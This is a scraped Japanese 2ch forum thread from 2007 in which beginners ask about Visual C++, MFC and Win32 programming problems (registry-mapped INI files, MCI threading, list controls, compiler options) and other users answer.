[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 2chのread.cgiへ]
Update time : 03/18 18:44 / Filesize : 201 KB / Number-of Response : 779
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

★初心者にVisual C++を教えるスレ★ Part25



1 名前:デフォルトの名無しさん [2007/01/10(水) 00:00:39 ]
1 : ◆Manna2uCLg :2005/04/15(金) 13:33:14
Visual C++入門者・初心者からの質問を、
お兄ちゃん達が優しく、時には厳しく回答してくれるスレッドです。

■質問するにあたって
・エラーや警告のときはエラーメッセージを書きましょう。
・開発環境も書きましょう。
・できるだけ具体的に。

質問の仕方については次のページが大変参考になります。
www.hyuki.com/writing/techask.html
myu.daa.jp/osiete/

■回答するにあたって
・回答する場合はその答えに至るための「コツ」も書いてあげると良いでしょう。
 (MSDNのどの項目だとか、何のキーワードでGoogleするとか)
・ネタや煽りは軽く流しましょう。

過去スレ、関連スレなどは>>2-5


95 名前:デフォルトの名無しさん mailto:sage [2007/01/11(木) 23:10:33 ]
>>93
アカデミックはスタンダード相当でMFCもきちんとあるはずだぞ。

96 名前:デフォルトの名無しさん mailto:sage [2007/01/11(木) 23:28:20 ]
>>94
こんな手があったのか。面白いけどちょっと怖いな。

97 名前:デフォルトの名無しさん mailto:sage [2007/01/11(木) 23:34:16 ]
>>95
学生じゃ無くて無理そうなのでは

98 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 13:33:06 ]
MFCのデータベースプログラミングをしようとして
ODBCを使ってみたんですがテーブルごとにクラスが作られてしまいますが
いろいろなテーブルを取得したい場合はどうすればいいのでしょうか?

99 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 15:25:55 ]
>>98
自分で直接CDatabaseやらCRecordsetやらをいじくればいいが、
今時ならせめてADOかOLEDBを使うのを薦める。

100 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:16:14 ]
環境 VC++7.0 Windows2000

保存と取り出しができているので成功しているはずなんですが
INIファイルで保存と取り出しはできたのですが保存先がわかりません
プロジェクト名.INIで保存されてるはずのファイルがみつかりません
ファイルの検索でもひっかかりません
Windows2000だとどこか特別な場所に保存されるのでしょうか?
m_pszProfileNameもデバッグ時に確かめましたがプロジェクト名でした


ソース
m_iData1 = 20;
m_sString1 = "mojiretsu";
……

// INIファイルに情報を保存する
CWinApp* pApp = AfxGetApp();
pApp->WriteProfileInt("ProgramData", "IntData1", m_iData1);
pApp->WriteProfileString("ProgramData", "String1", m_sString1);






// INIファイルから情報を取り込む
CWinApp* pApp = AfxGetApp();
m_iData = pApp->GetProfileInt("ProgramData", "IntData1", 0);
m_sString1 = pApp->GetProfileString("ProgramData", "String1", NULL);


101 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:23:00 ]
プロジェクト名.INI に保存されるというのはどこに書いてあった?

まあ2000ならwin.ini でもなくてレジストリにマッピングされてると思うけど。

102 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:23:02 ]
レジストリ?

103 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:25:26 ]
>>101

ここです
www.alpha-net.ne.jp/users2/uk413/vc/VCT_INI.html



104 名前:100 mailto:sage [2007/01/12(金) 16:34:41 ]
レジストリエディタから検索かけたら
プロジェクト名.iniがありましたが

これ直接編集できるんですか?

105 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:35:22 ]
ええと、VC++の7.0って.NETの年数無しバージョンだっけ?
ちょっとMFCのバージョンわからんが、

InitInstance() に、SetRegistryKey(_T("アプリのキー")) というのが無いかな?
そこで指定した文字列をキーに、

\\HKEY_CURRENT_USER\Software\アプリのキー\ProgramData\IntData1 に データが入って無いか?
レジストリはスタートメニューからファイル名を指定して実行を選んで regedit と入れれば
レジストリエディタが起動する。

106 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:42:40 ]
もう一つ前のバージョンだったか。
NTの時から、INIファイルをレジストリにマッピングする機能があって
INIファイルに書いてもレジストリに書き込まれる仕組みがOSにあった。
その場合は
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\IniFileMapping
以下にできる

MFCはそれを使わずにレジストリに切り替える機能もある。
SetRegistryKey()がそれ
任意のファイルにしたければ、APIのWritePrivateProfile・・・ を使えばいいかな。

107 名前:100 mailto:sage [2007/01/12(金) 16:48:02 ]
>>105
.NETの年数無しバージョンです

ありがとうございますありました

これはレジストリエディタを使わないと編集できないということなのでしょうか?



108 名前:100 mailto:sage [2007/01/12(金) 16:55:21 ]
INIファイルをレジストリにマッピングする機能ですか・・・
INIファイルを普通に編集したいならWritePrivateProfileで保存しなければ
いけないんですね

ということはそれも指定してINIファイルを読み込みにいかないといけないのか

109 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 16:58:28 ]
どうしてもファイルにしたければ、SetRegistryKey()を呼ばないで
Private の付いたAPIを呼ぶしかないかなあ、、、
でもこれ16bitWinの互換性に残ってるだけだしな。

110 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 17:11:02 ]
MFCのiniのパスはm_pszProfileName

111 名前:100 mailto:sage [2007/01/12(金) 17:18:34 ]
これだとレジストリでやったほうが簡単そうですね
ありがとうございました

112 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 17:34:12 ]
MFCはレジストリもiniもどっちも同じ方法だし
レジストリとiniの切り替えも簡単

113 名前:デフォルトの名無しさん mailto:sage [2007/01/12(金) 17:49:50 ]
iniの場合フルパスを意識しないとならんけどな



114 名前:100 mailto:sage [2007/01/13(土) 14:32:27 ]
m_pszProfileNameのパス変えて
他のにも書き込んだり読み込んだりできました

でもパス名変えるとアプリケーション終了時にOSがエラーだしてきます


115 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 14:46:11 ]
MSDN読め

116 名前:100 mailto:sage [2007/01/13(土) 14:57:46 ]
わかりました

117 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 15:44:35 ]
VC++.NET Standard (VC++7.0)使用です

mciコマンドで音を鳴らしていたのですが、音を鳴らす時に1秒くらい固まるのでマルチスレッドにしようとAfxBeginThreadにそこらへんの処理をぶち込みました。
するとmciSendCommandにて303エラーが発生。
おそらくスレッドから呼び出したから安全性がどうのこうのといった内容だと思うのですが
これを回避するにはどのようにすれば良いのでしょうか?

118 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 15:56:12 ]
シングルスレッドだってスレッドから呼び出してることに変わりは無いけどな
303って、MCIERR_ILLEGAL_FOR_AUTO_OPEN?
メインスレッドで自動オープンしたデバイスを別スレッドから触ろうとした?

119 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 16:38:36 ]
エラーメッセージは「指定されたコマンドを自動的に開かれたデバイスで実行することはできません」です
メインスレッドで自動オープンしたうんぬんというのが何を指しているのかは分かりませんが
少なくともmciなんたらの命令は作成したマルチスレッド内でしか使っていません
どうやらwindowメッセージ(MM_MCINOTIFY)の受け取りを親スレッドでしているのが原因らしいです

AfxBeginThreadの中でメッセージ(MM_MCINOTIFY)の受信ってできるのでしょうか?
それとも別の方法でスレッドを作るのかな?CWinThreadとか使った事が無いけど可能ですか?

120 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 16:56:57 ]
すみません捕捉しておきます

mop.dwCallback = (DWORD)pDoc->GetSafeHwnd();
mop.lpstrDeviceType=DeviceType[pDoc->BGMNum];
mop.lpstrElementName=midiFile;


mciErr = mciSendCommand(NULL,MCI_OPEN, MCI_NOTIFY | MCI_OPEN_TYPE | MCI_OPEN_ELEMENT,(DWORD_PTR)&mop);
mpp.dwCallback = (DWORD)pDoc->GetSafeHwnd();

スレッドの中を抜粋するとこんな感じです
mci関数で曲を止める時は親ウィンドウでやっていますが、エラーメッセージが表示されるのが、ちょうどここのmciSendCommandの所なので
それ以前に親ウィンドウでmci関数の命令を呼び出していないという意味です

おそらくコールバックのハンドルはスレッドのハンドル?を渡せば良い気がしないでも無いですが
スレッド内でのメッセージ処理をCWinThread(もしくはAfxBeginThreadで呼び出したスレッド関数)で受け取る方法が分かれば解決といった感じになりそうです
以前に何か違う方法でスレッドを作っていた気がしないでもないですが、やり方を完全に喪失しておりますし
何よりもMFCを使って初プログラムしているので、なるべくどちらかで処理したいと思っております

これはMFC相談室の方に移動ですか?

121 名前:デフォルトの名無しさん mailto:sage [2007/01/13(土) 17:30:56 ]
非同期

122 名前:デフォルトの名無しさん mailto:sage [2007/01/14(日) 13:06:01 ]
全角文字を文字化けせずに、tcpで相手に送信する方法がわかりません・・・。


123 名前:デフォルトの名無しさん mailto:sage [2007/01/14(日) 14:56:59 ]
送る側と受ける側で文字コードが揃っていればとりあえずできるはず。



124 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 10:36:09 ]
MFCでアプリケーション名を変更する方法を教えてください

125 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 11:12:56 ]
どこで使われる名前のこと言ってるの?

126 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 11:15:49 ]
起動したときに一番左上に表示されるところです

127 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 12:16:28 ]
>>124
ttp://msdn2.microsoft.com/en-us/library/00ak0bwd(vs.80).aspx

128 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 14:58:29 ]
>>127

free((void*)m_pszAppName);
m_pszAppName=_tcsdup(_T("test"));

m_pszAppNameの中身は変わりましたが起動しても反映されてませんでした

129 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 15:26:19 ]
それ見て表示する人がいるから
その人が表示する前に変えないとだめだな

見た目の問題ならウィンドウへ直接書いちゃった方が楽かもしれんな

130 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 15:40:31 ]
Doc/Viewなら文字列リソースのIDR_MAINFRAMEだっけか

131 名前:124 mailto:sage [2007/01/15(月) 15:47:01 ]
できました ありがとうございます

132 名前:デフォルトの名無しさん mailto:sage [2007/01/15(月) 15:47:54 ]
ちょっと興味持ったんで見てみたけど、m_pszAppNameはAfxMessageBox()のタイトルには影響するね。
IDR_MAINFRAMEはDoc/View外しても有効だね。

結局、動的に替えるなら自分でSetWindowText()したほうがいいのか

133 名前:デフォルトの名無しさん mailto:sage [2007/01/16(火) 14:24:45 ]
すいません、先月はじめたばかりなのですが、デバッガの使い方がさっぱり判りません。
適当に買った本で勉強して、言葉は理解できるのですが内容までは判らないのが現状です。
よろしければ実際にサンプルコードを用いながら解説しているサイト等教えていただけないでしょうか?
特に、スッテプイン、ステップオーバー、スッテプアウトが鬼門です。



134 名前:デフォルトの名無しさん mailto:sage [2007/01/16(火) 14:27:14 ]
連続で失礼します。特にforの繰り返し構文を用いたときのデバッガの使い方が知りたいです。
よろしくお願いします。

135 名前:デフォルトの名無しさん mailto:sage [2007/01/16(火) 14:31:23 ]
>>133
その、「スッテプイン、スッテプアウト」とやらは何物だ?

それはさておき、これくらい知っておけばなんとかなるだろ。
StepIn:関数に踏み込む
StepOver:関数に踏み込まずに次(の行)を踏む。
StepOut:関数から抜け出す
BreakPoint:停止する行を指定

136 名前:デフォルトの名無しさん mailto:sage [2007/01/16(火) 15:12:27 ]
最初は適当な変数に目を付けてウォッチしながらステップ実行してるだけで
いろいろわかるとい思う

137 名前:デフォルトの名無しさん mailto:sage [2007/01/16(火) 18:40:28 ]
>135
はい、日本語としては判るのですが、なんというかこう感覚として身についていないというか
どうも雲をつかむような感じがして会得できていないのです。

>136
ありがとうございます。自分で適当にコードを書いていろいろと試してみます。

138 名前:sage [2007/01/17(水) 00:15:37 ]
こんばんは。
↓のファイルをC++としてコンパイルしたいのですが、クラス宣言のところでエラーになってしまいます。
/TPオプションは付けています。
こういう場合、他に設定するところがあるんでしょうか?
以上よろしくお願いします。


//ファイル名:main.c
#include <stdio.h>

class test{
public:
void func1(){
printf("func1\n");
}
};

void main(){
test obj1;

obj1.func1();
}


139 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 00:31:52 ]
VC8なら通ったよ

140 名前:138 mailto:sage [2007/01/17(水) 00:40:25 ]
>>139
私はMicrosoft Visual C++ 2005を使って、空のプロジェクトに
>>138のmain.cを追加して作りましたが通りませんでした。
変えたオプションとかありますか?

141 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 00:47:57 ]
/TPだけです。

たぶんプロジェクトのプロパティでは/TPになってて
ソースのプロパティでは/TCになってるんじゃないかな。

142 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 00:49:54 ]
ところで、それなんて嫌がらせ?

143 名前:138 mailto:sage [2007/01/17(水) 00:52:07 ]
>>141
できました!
プロパティってソースごとに設定できるんですね...
ありがとうございます。



144 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 08:08:53 ]
>>138
C++のコードを書くなら拡張子をcにするなよ。

145 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 10:19:01 ]
リストコントロールを一番下までスクロールさせたくて、
↓こんな処理をやっているのですが、もっとスマートな方法はないでしょうか?

CListCtrl m_lstInfo;
CSize size;

size.cx = 0;
size.cy = 100000; //100000以上の高さだったらどうする?
BOOL bRet = m_lstInfo.Scroll(size);


開発環境:WinXp、VC++6.0
です。

146 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 10:58:02 ]
>>145
EnsureVisible使ったら?

147 名前:145 mailto:sage [2007/01/17(水) 11:22:13 ]
>>146
できました!
ありがとうございます。

148 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 14:20:32 ]
仮想リストビューにチェックボックスつけたいのですが
表示されるところまではなんとか行ったのですが
SetCheckまでも自分で実装しなければなりません。
初心者である自分には異常に難しいのですが
他にいい方法は無いでしょうか?

149 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 16:36:20 ]
仮想モードで表示まで完成してるならSetCheckは不要。
もしユーザーのマウス/キーボード入力に反応しないってこと言ってるなら
それはSetCheckとは無関係。両イベントから内部状態変更&アイテム再描画
をかけるだけ。

150 名前:質問1 [2007/01/17(水) 19:26:42 ]
↓のようなエラーが出ます。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(40) : error C2248: 'basepair::getkey' : protected メンバ (クラス 'basepair' で宣言されている) にアクセスできません。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(20) : 'basepair::getkey' の宣言を確認してください。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(7) : 'basepair' の宣言を確認してください。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(45) : error C2248: 'basepair::getvalue' : protected メンバ (クラス 'basepair' で宣言されている) にアクセスできません。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(18) : 'basepair::getvalue' の宣言を確認してください。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(7) : 'basepair' の宣言を確認してください。




151 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 19:27:42 ]
自己解決しました

152 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 19:28:22 ]
そのまんまの意味じゃん

153 名前:質問1(続き) [2007/01/17(水) 19:29:04 ]
ソースを次に書きます。

/* 派生クラスで純粋仮想関数をオーバーライドするプログラム */
#include <iostream>
#include <string>
using namespace std;

// basepair抽象クラスの定義
class basepair {
// デフォルトコンストラクタの使用を禁止する
basepair() {}
protected://@ A
//public://@ B
// データメンバ
string key, value;
// 引数をとるコンストラクタ
basepair(const char *pstrkey, const char *pstrval)
: key(pstrkey), value(pstrval) {}
// getvalue()メンバ関数を定義する
const char *getvalue() { return value.c_str(); }
// getkey()メンバ関数を定義する
const char *getkey() { return key.c_str(); }
// keycomp()純粋仮想関数を宣言する
virtual int keycomp(basepair &rp) = 0;
// valcomp()純粋仮想関数を宣言する
virtual int valcomp(basepair &rp) = 0;
// getpairvalue()純粋仮想関数を宣言する
virtual const char *getpairvalue(const char *pstrkey) const = 0;
// getpairkey()純粋仮想関数を宣言する
virtual const char *getpairkey(const char *pstrval) const = 0;
};
//(以下に続く)



154 名前:質問1(続き) [2007/01/17(水) 19:29:40 ]
// mypair派生クラスの定義
class mypair : public basepair {
public:
// 引数をとるコンストラクタ
mypair(const char *pstrkey, const char *pstrval)
: basepair(pstrkey, pstrval) {}

// keycomp()純粋仮想関数に独自の実装を行う
virtual int keycomp(basepair &rp) {
return strcmp(key.c_str(), (rp).getkey());// A A エラー箇所40行目
// return strcmp(key.c_str(), static_cast<mypair &>(rp).getkey());// A B
}
// valcomp()純粋仮想関数に独自の実装を行う
virtual int valcomp(basepair &rp) {
return strcmp(value.c_str(), (rp).getvalue());// B A エラー箇所45行目
// return strcmp(value.c_str(), static_cast<mypair &>(rp).getvalue());// B B
}
// getpairvalue()純粋仮想関数に独自の実装を行う
virtual const char *getpairvalue(const char *pstrkey) const {
if (key == pstrkey) return value.c_str();
else return NULL;
}
// getpairkey()純粋仮想関数に独自の実装を行う
virtual const char *getpairkey(const char *pstrval) const {
if (value == pstrval) return key.c_str();
else return NULL;
}
};
//(以下に続く)

155 名前:質問1(続き) [2007/01/17(水) 19:30:31 ]
int main() {
// mypairクラス型の配列を作成する
mypair mp[] = { mypair("358-0015", "さいたまけんいるましにほんぎ"),
mypair("500-8165", "ぎふけんぎふしおいまつちょう"),
mypair("272-0034", "ちばけんいちかわしいちかわ"),
mypair("060-0000", "ほっかいどうさっぽろしちゅうおうく"),
mypair("670-0974", "ひょうごけんひめじしいいだ"),
mypair("770-0874", "とくしまけんとくしましみなみおきのす")
};

if ( mp[5].keycomp(mp[1]) )
{
cout << "mp[5]とmp[1]のKeyは異なる\n";
}
else
{
cout << "mp[5]とmp[1]のKeyは同じ\n";
}

if ( mp[5].keycomp(mp[5]) )
{
cout << "mp[5]とmp[5]のKeyは異なる\n";
}
else
{
cout << "mp[5]とmp[5]のKeyは同じ\n";
}

getchar();

return 0;
}

156 名前:質問1(続き) [2007/01/17(水) 19:35:54 ]
コンパイルを通すにはA、Bで、rpはキャストすればいい(それぞれ、A→B)ようですが、
これって、static_castがベストでしょうか?




157 名前:質問1(続き) [2007/01/17(水) 19:38:46 ]
dynamicだと問題があるでしょうか?

以上です。

158 名前:デフォルトの名無しさん mailto:sage [2007/01/17(水) 20:33:15 ]
basepair の、公開メンバっぽいものを全て protected にしてる所に問題があると思うよ。

あと、スレ違い臭

159 名前:デフォルトの名無しさん [2007/01/17(水) 21:16:54 ]
>>158
>basepair の、公開メンバっぽいものを全て protected にしてる所に問題があると思うよ。
ご回答ありがとうございます。

>あと、スレ違い臭
今まで気づきませんでした。すみません。

これにて私の質問は終えたいと思います。

160 名前:デフォルトの名無しさん mailto:sage [2007/01/18(木) 16:01:37 ]
垂直スクロールバーを矢印キーで動かして値を変化させることはできますか?
たとえばバーが2つあって「↑↓」で1つ目を増減させ、「←→」で2つ目を増減させるとか。
今はSB_LINELEFT等を使ってマウスで動かしてます。

161 名前:デフォルトの名無しさん mailto:sage [2007/01/18(木) 16:16:03 ]
楽勝できる

162 名前:デフォルトの名無しさん mailto:sage [2007/01/18(木) 16:54:01 ]
>>161
片方しか動かせないんですよ。お兄ちゃんおせーてください。

163 名前:デフォルトの名無しさん [2007/01/18(木) 21:28:45 ]
ヘッダファイルってどこに保存すればいいのですか?



164 名前:デフォルトの名無しさん mailto:sage [2007/01/18(木) 22:28:07 ]
どこでも好きなところにどうぞ

165 名前:デフォルトの名無しさん [2007/01/18(木) 23:00:27 ]
>>164
学校の宿題で、ヘッダファイルをDLして、プログラムを書くらしいのですが、
どのフォルダに追加していいのか分かりません。

左のヘッダーファイルのフォルダに追加したのですが、
「include ファイルを開けません」
「'gucc.h': No such file or directory」と出てしまいます。
gucc.hはヘッダーファイルの名前です。

visual C++ 2005を使っています。

166 名前:デフォルトの名無しさん mailto:sage [2007/01/18(木) 23:10:43 ]
ではもう一度

どこでも好きなところにどうぞ


その代わり、インクルードパスの指定はしっかりしてください


それすらわからんなら全部まとめて同じ場所に保存しとけ


それでもダメなら先生に教わっておいで

167 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 00:27:32 ]
それでもダメなら俺とディープキスしろ

168 名前:デフォルトの名無しさん [2007/01/19(金) 00:38:58 ]

         _,,..,,,,_   _,,..,,,,_
        ./     ヽ /   ヽ
       l   ・ωl lω・   l
       `'ー--┳━┳---‐´


         _,,..,,,,_   _,,..,,,,_
        ./     ヽ /   ヽ
       l    ,,・3,,-ω-,, l  〜♪
       `'ー--┳━┳---‐´

169 名前:デフォルトの名無しさん [2007/01/19(金) 16:52:13 ]
開発環境:WinXp、VC++6.0

リストコントロールの水平スクロールバーが表示されているかどうか判定する方法ってありますか?

170 名前:169 mailto:sage [2007/01/19(金) 17:43:34 ]
自己解決しました。

if(GetScrollLimit(SB_HORZ) > 0)

171 名前:169 [2007/01/19(金) 17:53:34 ]
開発環境:WinXp、VC++6.0

また行き詰ってしまったので、再度質問です。

リストコントロールの選択アイテムが、可視部の何番目が選択されているかというのは分かりますでしょうか?


下図の例で言うと、垂直スクロールバーが表示されているリストコントロールで、
矢印の行が選択されていた場合、インデックス値は2ですが可視部だけなら1ということで、
その1という値を求めたいということです。


<例図>(『あ』はインデックス0番目のアイテムだが、スクロールによって見えてない。)

 (あ)
   ―――――
  |い      ‖
→|う■■■■‖
  |え      ‖
  |お      ‖
  |――――― 

172 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 18:04:05 ]
リストコントロールはそんな使い方を想定してはいない。

173 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 18:08:50 ]
>>171
m_list.GetCurSel() - m_list.GetTopIndex()



174 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 18:29:01 ]
>>173
GetCurSelはリストコントロールにはなかったですけど、出来ました!
ありがとうございます。

m_list.GetSelectionMark() - m_list.GetTopIndex()


175 名前:デフォルトの名無しさん [2007/01/19(金) 21:05:11 ]
VC++.net「Windowsフォームアプリケーション」において、MFCにおけるBitBlt関数のように
画像をpictureboxから別のpictureboxに部分コピーする方法がわからないのですが
何か良い方法はないでしょうか。

176 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 21:16:24 ]
DrawImageじゃだめかな

177 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 21:22:28 ]
System.Drawing.Graphics.DrawImageで頑張ってください
BitBlt使う方法もあるけどな

178 名前:デフォルトの名無しさん [2007/01/19(金) 21:24:32 ]
>>176
レスありがとうございました。どうもそれでできそうです。
VC++はMFCとかWINDOWSフォームとか、それぞれ勝手が違うのでちょっと困ってました。
もうちょっと参考書買い足してみることにします。

179 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 21:25:15 ]
>>177
ありがとうございます。
あとsage忘れました。ごめんなさい。

180 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 21:40:41 ]
すみません、プログラムの実行時(=作成するプログラム)に
外部実行ファイル(=既存のプログラム)を起動するにはどうしたらよろしいでしょうか?

181 名前:デフォルトの名無しさん [2007/01/19(金) 21:51:50 ]
猫でもわかるプログラムを見たんですが
わからない俺は猫以下なんでしょうか…

182 名前:デフォルトの名無しさん mailto:sage [2007/01/19(金) 21:56:34 ]
>>180
ShellExecute
>>181
あそこの猫は特別優秀らしい

183 名前:デフォルトの名無しさん [2007/01/19(金) 21:59:58 ]
>>182 なるほど
とりあえず何を勉強したらいいんですかね?
目標はゲームを作ることなんですが




184 名前:180 mailto:sage [2007/01/19(金) 22:13:36 ]
>>182
できました〜
調べ物が多くて参ってたので助かりました
ありがとうございました。

185 名前:175 mailto:sage [2007/01/19(金) 23:40:14 ]
>>177
すいません。windowsフォームでBitBltを使う方法ってどんなのでしょうか。
Drawimageだと画像の「部分」を取り出すことができませんでした。
(画像全体が、取り出したい部分サイズに縮小されてしまいました。
DrawImageUnscaledAndClippedメソッドというのもあるようですが、自分のバージョンは古いらしく対応していないようでした。)
度々すいません。

186 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 00:22:48 ]
あなたには功夫、じゃなくて努力が足りないわ
DrawImageメソッドには描画元の領域指定できるのも用意されている。よく探せ。

187 名前:175 mailto:sage [2007/01/20(土) 00:42:09 ]
>>186
ありがとうございます。
もっと粘ってみますね。

188 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 00:44:34 ]
オーバーロードが30個もあると気が滅入る。

189 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 08:54:49 ]
MSDNくらい見れんのかと

190 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 12:22:27 ]
パイだっけ

191 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 13:17:20 ]
ピクチャボックスに縮小された線の色をピクセル単位ではなく、ドット単位で検出するAPIってありますか?


192 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 13:21:27 ]
ピクセル単位とドット単位の違いは何?

193 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 13:50:30 ]
志村〜



194 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 22:07:35 ]
C1010: プリコンパイル済みヘッダーの検索中に予期しない EOF を検出しました。

MSDN見てヘッダ関係かと思ったんですが#includeはきっちりしてあるのにエラーが・・・
#include <stdlib.h>
#include <stdio.h>

int Main(int argc, _TCHAR* argv[])
{
printf("test\n");
return 0;
}

なんかしょうもないボカやってる悪寒が

195 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 22:08:49 ]
フォルダの中にあるファイルを指定して、そのファイルをifstreamで開く、という風にしたのですが、どうしたらいいのでしょうか?

196 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 22:19:11 ]
プリコンパイル済みヘッダーがないじゃん

197 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 22:30:35 ]
>>196すみません
stdafx書き込むの忘れてました

弟がstdafx.hを弟がソリューションから消したのが正解でした・・・・
返してくれ俺の3時間orz

198 名前:デフォルトの名無しさん mailto:sage [2007/01/20(土) 23:02:12 ]
>>195
プログラムの利用者はどうやってフォルダの中にあるファイルを指定するのか。

199 名前:デフォルトの名無しさん [2007/01/21(日) 16:01:47 ]
論理ペンの作成がうまくいかないので、どなたか指南していただけますでしょうか。
SelectObject(hdc,CreateFont(20,0,0,0,
FW_DONTCARE,
FALSE,FALSE,FALSE,
SHIFTJIS_CHARSET,
OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY,
DEFAULT_PITCH | FF_DONTCARE,
"Arial Black")
);
こんな感じで論理ペンを作成したのですが、
どうあがいてもArial Blackではないフォントで描画されてしまいます。
どうしてArial Blackで描画させたいのですがどうすればよいでしょうか・・・

200 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 16:16:16 ]
ソレはペンではないし、オブジェクトは漏れてるし、

201 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 16:41:15 ]
思い通りにならないならGetLastError&FormatMessageなりで何か起こってないかなど調べるくらいしなさい
後別にVCの使い方関係ないし、Win32APIスレで聞いた方が良い

202 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:19:53 ]
今度会社でVC6で開発をしなくてはならなくなりました、社内ではVC6が現役でガンガッテいます
漏れ的には無料のVC8の方が格別に使いやすいのですが、ライセンスの関係でVS2005の
無聊版は使えないらしいのです、仕方なく会社のVC6をコッソリ家に持って帰り
インスコしてSP6を当てマスタそして
VC6で開発する時の注意事項などあれば教えてホスイ

203 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:28:04 ]
特にない



204 名前:デフォルトの名無しさん [2007/01/21(日) 17:32:33 ]
質問です。
Windowsフォームアプリケーションで、

String *data=S"aaaaa";
if(data->Substring(1,1)==S"a"){text1->Text=S"ok";}
if(data->Substring(1,1)!=S"a"){text1->Text=data->Substring(1,1);}
このような構文を走らせたところ、text1には変化なし、
しかしtext2には"a"と表示されてしまいました。

一体なにがいけないのでしょうか?

205 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:48:42 ]
>>202
注意事項:コッソリ持って帰らない

206 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:49:45 ]
>>202
テンプレート使いまくりの変態プログラミングは諦めろ。
付属のSTLもかなり怪しいし、boostは駄目かもしれん。

207 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:52:39 ]
>>204
Substringということは.NETか
C++で.NET使ったこと無いんだが、なんだその「S」は?
まぁそのSが何のつもりか知らんが、その比較演算はC++としてありえない

208 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 17:55:55 ]
text2はどこから沸いてきたのか

209 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 18:08:30 ]
>>202
御社名を教えていただければ、開発に当たっての様様なノウハウをお教えするに吝かではありません。
#尤も、MSに密告しない保証は致しかねますが。

210 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 18:27:35 ]
>>202です
そうですねこっそり持って帰るのはイクナイノデアンインストールして明日会社に返します。
本棚の隅に1999年に買って一度も目を通したことの無かった
SHOEISHAの「プログラミング学習シリーズ山本信雄 著 VisualStuidio C++」
を開いてみたら
char s(80);
lstrcpy(s, "おはようございます。");
ってなってマスタ、
char s(80);は今日日ねーべなと思い
char s[80];
で動きマスタ
昔のVS6はchar s(80);でもコンパイルエラーでなかったのかな??
因みに漏れはSP6を家で堂々と当てたのでエラーになったのだと思う
C99はchar s(80);これでもOKだったのかい??


211 名前:204 mailto:sage [2007/01/21(日) 19:05:40 ]
String::Equals(s1->Substring(1,1),"a")でできました。
ありがとうございました。

212 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 19:45:44 ]
>>210
おそらく本の誤植。
ちなみにC++でchar s(80);はコンストラクタ引数を与える構文になるが、charは組込型なのでchar s = 80;と同じ意味になる。

